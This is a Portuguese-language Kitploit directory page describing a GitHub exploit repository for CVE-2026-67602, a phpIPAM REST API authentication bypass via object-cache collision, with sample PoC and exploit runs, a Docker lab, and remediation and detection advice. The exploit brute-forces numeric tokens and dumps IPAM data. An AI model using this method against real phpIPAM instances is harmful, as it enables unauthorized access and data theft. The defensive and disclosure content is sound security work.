Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass — Exploit e PoC para CVE-2026-67602, uma bypass de autenticação na API REST do phpIPAM via colisão de chaves no object-cache, incluindo um PoC de nível lógico e script de exploit remoto. | Kitploit
Ferramentas/GitHubGitHub/hunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAutenticaçãoSegurança de API
GitHubhunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

Exploit e PoC para CVE-2026-67602, uma bypass de autenticação na API REST do phpIPAM via colisão de chaves no object-cache, incluindo um PoC de nível lógico e script de exploit remoto.

Ver Repositório
há 0 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-67602 — phpIPAM < 1.8.2 Bypass de Autenticação na API REST

Bypass de autenticação não autenticado na API REST do phpIPAM, causado por uma colisão de chave no cache de objetos: a linha do banco de dados armazenada em cache ao resolver o app_id de um aplicativo da API satisfaz a verificação subsequente do app_code (token) sempre que o token fornecido for igual ao id numérico da linha. O segredo real do aplicativo nunca é comparado.

  • CVE: CVE-2026-67602
  • CVSS 4.0: 9.3 Crítico (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)
  • CWE: CWE-706 (Uso de Nome ou Referência Resolvidos Incorretamente)
  • Afetados: phpIPAM anterior a 1.8.2, aplicativos da API REST com app_security = ssl_code
  • Corrigido: phpIPAM 1.8.2 (commit d29728f)
  • Aviso: https://www.vulncheck.com/advisories/phpipam-authentication-bypass-via-rest-api-object-cache

Conteúdo

ArquivoFinalidade
poc_cache_collision.phpPoC em nível de lógica. Executa as implementações verbatim vulneráveis (v1.8.1) e corrigidas (1.8.2) de fetch_object/cache_check/cache_write contra um banco de dados simulado e reproduz a sequência exata de fetch de uma requisição HTTP. Nenhuma instalação do phpIPAM é necessária.
exploit.pyExploit remoto contra uma instância ativa do phpIPAM < 1.8.2: enumera app_ids válidos (400 vs 401), força bruta no token numérico (geralmente id 1-3) e, opcionalmente, despeja seções/sub-redes/VLANs/dispositivos.
docker-compose.ymlLaboratório vulnerável: phpIPAM v1.8.1 + MariaDB, HTTP simples com IPAM_TRUST_X_FORWARDED=true para que aplicativos ssl_code possam ser testados via cabeçalho X-Forwarded-Proto.

1. PoC em nível de lógica (sem servidor necessário)

root@kitploit:~
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client')  -> linha id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (cabeçalho phpipam-token) -> OBJECT (cache hit!)
[3] $app_id == $app_temp->app_id  ->  AUTENTICADO

$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (cabeçalho phpipam-token) -> false
[3] Resposta: 401 Não Autorizado — token rejeitado

2. Reprodução ao vivo no Docker

root@kitploit:~
$ docker compose up -d
  1. Acesse http://localhost:8080/, prossiga para o instalador (http://localhost:8080/install/), escolha Instalação automática do banco de dados, usuário MySQL root / senha phpipamAdminRoot.
  2. Faça login (admin / admin), defina uma nova senha de administrador quando solicitado.
  3. Crie o aplicativo da API: Administração → Gerenciamento de API → novo:
    • Nome do aplicativo (app_id): client
    • Segurança: Código da API (ssl_code)
    • Permissões: Leitura / Escrita / Exclusão
  4. O phpIPAM gera um código de aplicativo aleatório de 32 caracteres. Você não precisa copiá-lo — esse é o objetivo do bug.

Execute o exploit (a flag --xfp satisfaz a verificação HTTPS via X-Forwarded-Proto, que o laboratório confia):

root@kitploit:~
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Alvo: http://localhost:8080
[*] Forçando tokens numéricos (ids de linha) 1..64 para app_id='client'...
[+] BYPASS DE AUTENTICAÇÃO — phpipam-token: 1 é aceito
[+] O app_code real de 32 caracteres do aplicativo nunca foi necessário.
[+] GET /api/client/sections/ -> HTTP 200, 1 seção(ões) legível(eis)
[*] Despejando dados do IPAM...

3. Detecção e remediação

  • Atualize para o phpIPAM 1.8.2 ou posterior. A correção chaveia o cache de objetos pela coluna de busca além do valor (commit d29728f).
  • Até atualizar, desative ou reconfigure os aplicativos da API ssl_code (outros modos de segurança não são afetados por essa colisão de cache).
  • Verifique os logs do seu servidor web / phpIPAM em busca de requisições a /api/<app_id>/... contendo um cabeçalho phpipam-token puramente numérico — tokens legítimos são strings aleatórias de 32 caracteres, portanto tokens numéricos são um IOC de alta fidelidade.
  • Rotacione os códigos de aplicativo da API e os tokens de usuário se houver suspeita de exposição.

Uso responsável

Este repositório é apenas para pesquisa defensiva e testes de penetração autorizados. Execute-o apenas contra sistemas que você possui ou para os quais tenha permissão por escrito para testar.

Baixar ferramenta